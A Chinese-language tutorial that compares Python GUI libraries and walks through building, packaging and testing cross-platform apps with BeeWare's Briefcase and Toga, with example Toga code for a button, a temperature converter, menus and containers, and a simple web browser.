各个gui开发工具对比 Flexx: 可以使用Flexx创建桌面应用程序和web应用程序,同时可以将程序导出到独立的HTML文档中,GitHub推荐 Kivy&BeeWare: 只需编写一套代码便可轻松运行于各大移动平台和桌面上,像Android,iOS,Linux,OS X和Windows,https://blog.csdn.net/ZNJIAYOUYA/article/details/126553693,两者各有特别,kivy更灵活,后者兼容性好 Pyforms: 旨在提高开发效率,用于开发可以在Windows GUI模式、Web模式或终端模式下执行的应用程序 PyQt: 目前最强大的库之一,可以使用Python做任何C++能做的事 PyAutoGUI: 利用它可以实现所有GUI自动化,无需机械性操作 wxPython: wxPython具有非常优秀的跨平台能力,可以在不修改程序的情况下在多种平台上运行 为啥选择beeware 1.支持跨平台开发 2.相对Kivy更简单,兼容性更好,kivy灵活性更高,所以建议结合实际情况选择 beeware官方教程:https://docs.beeware.org/en/latest/tutorial/tutorial-0.html 中文文档:https://github.com/xianchengyue/Beeware-- 搭建步骤 1.设置虚拟环境 1.mkdir beeware-tutorial 2.python3 -m venv beeware-venv #创建虚拟环境 3.source beeware-venv/bin/activate (windows:使用git bash工具执行) #切换至虚拟环境 4.beeware-venv\Scripts\activate.bat (windows:cmd执行)#切换至虚拟环境 2.创建第一个应用 1.安装briefcase: pip install briefcase 2.新建项目:briefcase new ,之后的内容按需填写即可,Pyproject.toml 文件描述了如何对应用程序进行打包以便发行 3.在开发者模式下运行应用程序: cd project_dir && briefcase dev 4.项目结构说明:__init__.py:标记项目目录是一个python包,__main__.py 将项目目录标记为一个特殊的可执行模块,app.py:创建app窗口的逻辑 打包以便发布 1.创建应用程序脚手架: briefcase create 2.搭建应用程序: 编译:briefcase build 3.运行app: briefcase run 4.搭建安装包: macos: briefcase package --no-sign;Linux&Windows:briefcase package,详细说明:https://briefcase.readthedocs.io/en/latest/how-to/code-signing/macOS.html 更新app 1.briefcase dev: 每次执行都能看到修改后最新的效果 2.briefcase run:则不会,需要先执行:briefcase update,然后在执行briefcase run,最后使用briefcase package 命令重新打包app 以便分发 3.macOS 的用户记住在第三章中提到的使用 briefcase package 命令时带上 --no-sign 标志避免设置代码签名标识的复杂工作并使教程尽可能简单 4.一步更新和运行: briefcase run -u,会自动触发更新,重新打包:briefcase package -u 使之成为移动 app 1.IOS: 1.安装xcode 2.briefcase create iOS #创建app 3.briefcase build iOS #编译 4.briefcase run iOS ,运行时指定设备名称&选择特定版本的iOS,-d "设备名称::ios 版本号",使用特定设备的UDID名称: -d 4768AA69-497B-4B37-BD0C-3961756C38AC 2.安卓 1.MacOs&Liunx&windows: briefcase create android ,首次执行会比较慢,会自动下载java jdk与安装sdk #创建app 2.briefcase build android ,Gradle可能停止工作:将会打印CONFIGURING:100%,但看起来什么事也没做,此时它在下载更多安卓SDK组件 #编译app 4.模拟设备上运行app: 1.briefcase run android ,执行此命令会提示你可运行app的设备清单,最后一个选项始终是创建一个新的安卓模拟器 #运行app 2.如果模拟器没启动: 执行briefcase run检查一下终端找到错误信息 3.如果你想不使用菜单在设备上运行app: briefcase run android -d @beePhone 5.实体设备上运行app: 1.启用开发者选项;2.启用USB调试;3.briefcase run android,直接运行:briefcase run android -d 设备标识号 2.我的设备没有出现: 要么你没有启动 USB 调试,要么设备根本没插进去 3.显示为“未知设备(不是未授权开发): 1.重新启用开发者模式;2.然后重新运行 briefcase run android 命令 开始使用第三方库 1.访问 API:使用jsonplaceholder(https://jsonplaceholder.typicode.com)作为数据源 2.安装第三库,例如:pip install httpx 3.briefcase dev #本地运行 4.briefcase update : 更新app代码 5.briefcase build : 编译app 6.briefcase run : 运行app 7.启动时提示module not found: 1.修改app全局依赖: key:[tool.briefcase.app.appname] 1.修改pyproject.toml,修改requires,将依赖添加至requires 2.添加时可以指定版本与版本范围,例如:httpx==0.19.0,httpx>=0.19 3.指定克隆仓库的路径: 如"git+https://github.com/encode/httpx" 2.修改指定平台的依赖: key:[tool.briefcase.app.appname.macOS、windows、linux、iOS、web、android] 1.修改pyproject.toml,修改requires,将依赖添加至requires 8.Python只在移动端: 1.在桌面平台: 任何pip能安装的都可以被添加到你的需求中 2.在移动平台: 只能使用纯Python包及包中不能包含二进制模块,numpy、scikit-learn、cryptography等不能在移动平台上使用 9. briefcase update -d #更新依赖 10.briefcase build #编译 11. briefcase run # 运行 让app运行更流畅 1.GUI事件循环: 当app正在处理一个事件,不能重绘也不能处理其他事件 2.异步编程: 使用 async 和 await 关键字实现 3.制作异步教程   测试app 1.briefcase dev -r #自动检查依赖安装情况 2.briefcase dev --test #执行测试 3.test_app.py #编写测试用例 4.briefcase run --test -r #运行时测试 5.briefcase run iOS --test、 briefcase run android --test #指定平台运行测试用例 实战:开始撸代码 项目配置文件详解 1.https://briefcase.readthedocs.io/en/latest/reference/index.html Toga小部件工具详解 1.https://toga.readthedocs.io/en/latest/tutorial/index.html 2.安装toga依赖: pip install toga 1.编写应用程序 1.代码示例: import toga def button_handler(widget): print("hello") def build(app): box = toga.Box() button = toga.Button("Hello world", on_press=button_handler) button.style.padding = 50 button.style.flex = 1 box.add(button) return box def main(): return toga.App("First App", "org.beeware.helloworld", startup=build) if name == "main": main().main_loop() 2.细节介绍 1.button_handler方法:widget参数,该函数将激活的小部件作为第一个参数 2.build方法: app参数,为toga.app实例,用于自定义app启动的方法 3.toga.Box: 盒子是一个对象,可用于容纳多个小部件,并定义小部件周围的填充 4.toga.Button: 定义一个按钮,参数1:按钮的展示名称;2.on_press:点击按钮后触发的行为(函数对象) 5.button.style: 定义按钮在窗口中的显示方式,默认情况下,Toga 使用一种名为 的样式算法Pack,有点像“CSS-lite” 1.button.style.padding = 50 #按钮的所有边都有 50 像素的填充 2.padding_top = 20 padding = (20, 50, 50, 50) #在按钮顶部定义20像素的填充 3.button.style.flex = 1 #使按钮占据所有可用宽度 6.box.add(button): 将按钮添加到框中 7.return box: 返回包含所有 UI 内容的外部盒子,此框将是应用程序主窗口的内容 故障排除 1.建议首先创建一个虚拟环境 2.Toga 有一些最低要求: 如果您使用的是 macOS,则需要使用 10.10 (Yosemite) 或更高版本。 如果您使用的是 Linux,则需要 GTK+ 3.10 或更新版本。这是从 Ubuntu 14.04 和 Fedora 20 开始发布的版本。 如果您使用的是 Windows,则需要安装 Windows 10 或更新版本。 3.运行脚本: cd 项目/src && python -m 项目名称 2.来写一个更复杂一点的页面:华氏度到摄氏度转换器 代码示例 import toga from toga.style.pack import COLUMN, LEFT, RIGHT, ROW, Pack def build(app): c_box = toga.Box() f_box = toga.Box() box = toga.Box() c_input = toga.TextInput(readonly=True) f_input = toga.TextInput() c_label = toga.Label("Celsius", style=Pack(text_align=LEFT)) f_label = toga.Label("Fahrenheit", style=Pack(text_align=LEFT)) join_label = toga.Label("is equivalent to", style=Pack(text_align=RIGHT)) def calculate(widget): try: c_input.value = (float(f_input.value) - 32.0) * 5.0 / 9.0 except ValueError: c_input.value = "???" button = toga.Button("Calculate", on_press=calculate) f_box.add(f_input) f_box.add(f_label) c_box.add(join_label) c_box.add(c_input) c_box.add(c_label) box.add(f_box) box.add(c_box) box.add(button) box.style.update(direction=COLUMN, padding=10) f_box.style.update(direction=ROW, padding=5) c_box.style.update(direction=ROW, padding=5) c_input.style.update(flex=1) f_input.style.update(flex=1, padding_left=160) c_label.style.update(width=100, padding_left=10) f_label.style.update(width=100, padding_left=10) join_label.style.update(width=150, padding_right=10) button.style.update(padding=15) return box def main(): return toga.App("Temperature Converter", "org.beeware.f_to_c", startup=build) if name == "main": main().main_loop() 详细说明 1.此示例展示了 Toga 的 Pack 风格引擎的更多功能。在这个示例应用程序中,我们设置了一个垂直堆叠的外框;在那个盒子里,我们放了 2 个水平盒子和一个按钮。 2.由于水平框上没有宽度样式,它们将尝试将它们包含的小部件放入可用空间。 3.小TextInput 部件的样式为flex=1,但是Label小部件的宽度是固定的; 4.结果,TextInput小部件将被拉伸以适应可用的水平空间。然后,边距和填充项确保小部件将垂直和水平对齐。 5.toga.TextInput: 定义一个文本输入框,readonly=True:设置为不可编辑 6.toga.Label: 定义表头,text_align:文字对齐方式,LEFT:居左,RIGHT:居右 7.box.style: 定义按钮在窗口中的显示方式,默认情况下,Toga 使用一种名为 的样式算法Pack,有点像“CSS-lite” 1.box.style.padding = 50 #按钮的所有边都有 50 像素的填充 2.padding = (20, 50, 50, 50) #在按钮顶部定义20像素的填充 3.box.style.flex = 1 #使按钮占据所有可用宽度 4.box.style.update: 更新页面布局,direction:指定方向 5.box、button、input、label均可设置style 把盒子放在另一个盒子里:涉及布局、滚动条和其他容器内的容器 代码示例 import toga from toga.style.pack import COLUMN, Pack def button_handler(widget): print("button handler") for i in range(0, 10): print("hello", i) yield 1 print("done", i) def action0(widget): print("action 0") def action1(widget): print("action 1") def action2(widget): print("action 2") def action3(widget): print("action 3") def action5(widget): print("action 5") def action6(widget): print("action 6") def build(app): brutus_icon = "icons/brutus" cricket_icon = "icons/cricket-72.png" data = [("root%s" % i, "value %s" % i) for i in range(1, 100)] left_container = toga.Table(headings=["Hello", "World"], data=data) right_content = toga.Box(style=Pack(direction=COLUMN, padding_top=50)) for b in range(0, 10): right_content.add( toga.Button( "Hello world %s" % b, on_press=button_handler, style=Pack(width=200, padding=20), ) ) right_container = toga.ScrollContainer(horizontal=False) right_container.content = right_content split = toga.SplitContainer() # The content of the split container can be specified as a simple list: # split.content = [left_container, right_container] # but you can also specify "weight" with each content item, which will # set an initial size of the columns to make a "heavy" column wider than # a narrower one. In this example, the right container will be twice # as wide as the left one. split.content = [(left_container, 1), (right_container, 2)] # Create a "Things" menu group to contain some of the commands. # No explicit ordering is provided on the group, so it will appear # after application-level menus, but *before* the Command group. # Items in the Things group are not explicitly ordered either, so they # will default to alphabetical ordering within the group. things = toga.Group("Things") cmd0 = toga.Command( action0, text="Action 0", tooltip="Perform action 0", icon=brutus_icon, group=things, ) cmd1 = toga.Command( action1, text="Action 1", tooltip="Perform action 1", icon=brutus_icon, group=things, ) cmd2 = toga.Command( action2, text="Action 2", tooltip="Perform action 2", icon=toga.Icon.TOGA_ICON, group=things, ) # Commands without an explicit group end up in the "Commands" group. # The items have an explicit ordering that overrides the default # alphabetical ordering cmd3 = toga.Command( action3, text="Action 3", tooltip="Perform action 3", shortcut=toga.Key.MOD_1 + "k", icon=cricket_icon, order=3, ) # Define a submenu inside the Commands group. # The submenu group has an order that places it in the parent menu. # The items have an explicit ordering that overrides the default # alphabetical ordering. sub_menu = toga.Group("Sub Menu", parent=toga.Group.COMMANDS, order=2) cmd5 = toga.Command( action5, text="Action 5", tooltip="Perform action 5", order=2, group=sub_menu ) cmd6 = toga.Command( action6, text="Action 6", tooltip="Perform action 6", order=1, group=sub_menu ) def action4(widget): print("CALLING Action 4") cmd3.enabled = not cmd3.enabled cmd4 = toga.Command( action4, text="Action 4", tooltip="Perform action 4", icon=brutus_icon, order=1 ) # The order in which commands are added to the app or the toolbar won't # alter anything. Ordering is defined by the command definitions. app.commands.add(cmd1, cmd0, cmd6, cmd4, cmd5, cmd3) app.main_window.toolbar.add(cmd1, cmd3, cmd2, cmd4) return split 详细说明 注意: 为了呈现图标,您需要将图标文件夹移动到与应用程序文件相同的目录中。 1.toga.Table: 定义一个表格,参数详细说明: 1.headings(表头)=["Hello", "World","desc"], data(内容)=data 2.id:唯一标识符;3.style:指定样式 3.accessors:访问器,multiple_select:支持多选框, 4.on_select:提供的回调函数必须接受两个参数表(obj:“表”)和行(' '行' '或' '没有' '),on_double_click:双点击提供的回调函数必须接受两个参数表(obj:“表”)和行(' '行' '或' '没有' '), 5.missing_value:缺省值,factory:已经弃用 2.toga.ScrollContainer: 定义一个滚动条,参数详细说明: 1.horizontal:True(为水平,即横向滚动条),False(为垂直,即纵向滚动条) 3.toga.SplitContainer: 定义一个拆分控件,分别展示,参数详细说明: 1.id:指定唯一标识符,style:指定样式, 2.direction:是否水平展示,默认垂直展示,content:切换的内容, 例如:[(left_container, 1), (right_container, 2)] 3.factory:已经弃用 4.toga.Group:定义一个顶部选项卡(菜单),参数详细说明: 1.text:菜单名称,order:指定排序,section:是否部件, 2.parent:指定父级选项卡,label:目前已经弃用 4.系统默认可调用的对象: Group.APP = Group("*", order=0) Group.FILE = Group("File", order=1) Group.EDIT = Group("Edit", order=10) Group.VIEW = Group("View", order=20) Group.COMMANDS = Group("Commands", order=30) Group.WINDOW = Group("Window", order=90) Group.HELP = Group("Help", order=100) 5.toga.Command: 需要调用命令时使用,参数详细说明: 1.action:函数对象,text:标题,shortcut:命令描述,icon:指定展示图标, 2.group:所属的选项卡,section:是否部件,order:指定排序,enabled:是否启用,factory&label:已经弃用 6.app.commands.add: 添加一组命令到commands选项卡中 7.app.main_window(程序主运行窗口).toolbar:工具栏操作,add添加 8.app.main_window.info_dialog: 正常提示弹窗,error_dialog:错误提示弹窗 构建一个浏览器 尽管可以构建复杂的 GUI 布局,但您可以使用现代平台上原生的丰富组件,用很少的代码获得很多功能 示例代码 import toga from toga.style.pack import CENTER, COLUMN, ROW, Pack class Graze(toga.App): def startup(self): self.main_window = toga.MainWindow(title=self.name) self.webview = toga.WebView( on_webview_load=self.on_webview_loaded, style=Pack(flex=1) ) self.url_input = toga.TextInput( value="https://beeware.org/", style=Pack(flex=1) ) box = toga.Box( children=[ toga.Box( children=[ self.url_input, toga.Button( "Go", on_press=self.load_page, style=Pack(width=50, padding_left=5), ), ], style=Pack( direction=ROW, alignment=CENTER, padding=5, ), ), self.webview, ], style=Pack(direction=COLUMN), ) self.main_window.content = box self.webview.url = self.url_input.value # Show the main window self.main_window.show() def load_page(self, widget): self.webview.url = self.url_input.value def on_webview_loaded(self, widget): self.url_input.value = self.webview.url def main(): return Graze("Graze", "org.beeware.graze") if name == "main": main().main_loop() 在此示例中,您可以看到一个应用程序被开发为一个类,而不是一个构建方法。 您还可以看到以声明方式定义的框 - 如果您不需要保留对特定小部件的引用,您可以内联定义一个小部件,并将其作为参数传递给框,它将成为那个盒子。 详细说明 1.toga.WebView: 指定一个web页面 打造独家app 1.添加图标 2.下一步
2024-01-19
163
0
0
网络聚合
66
67
68
69
70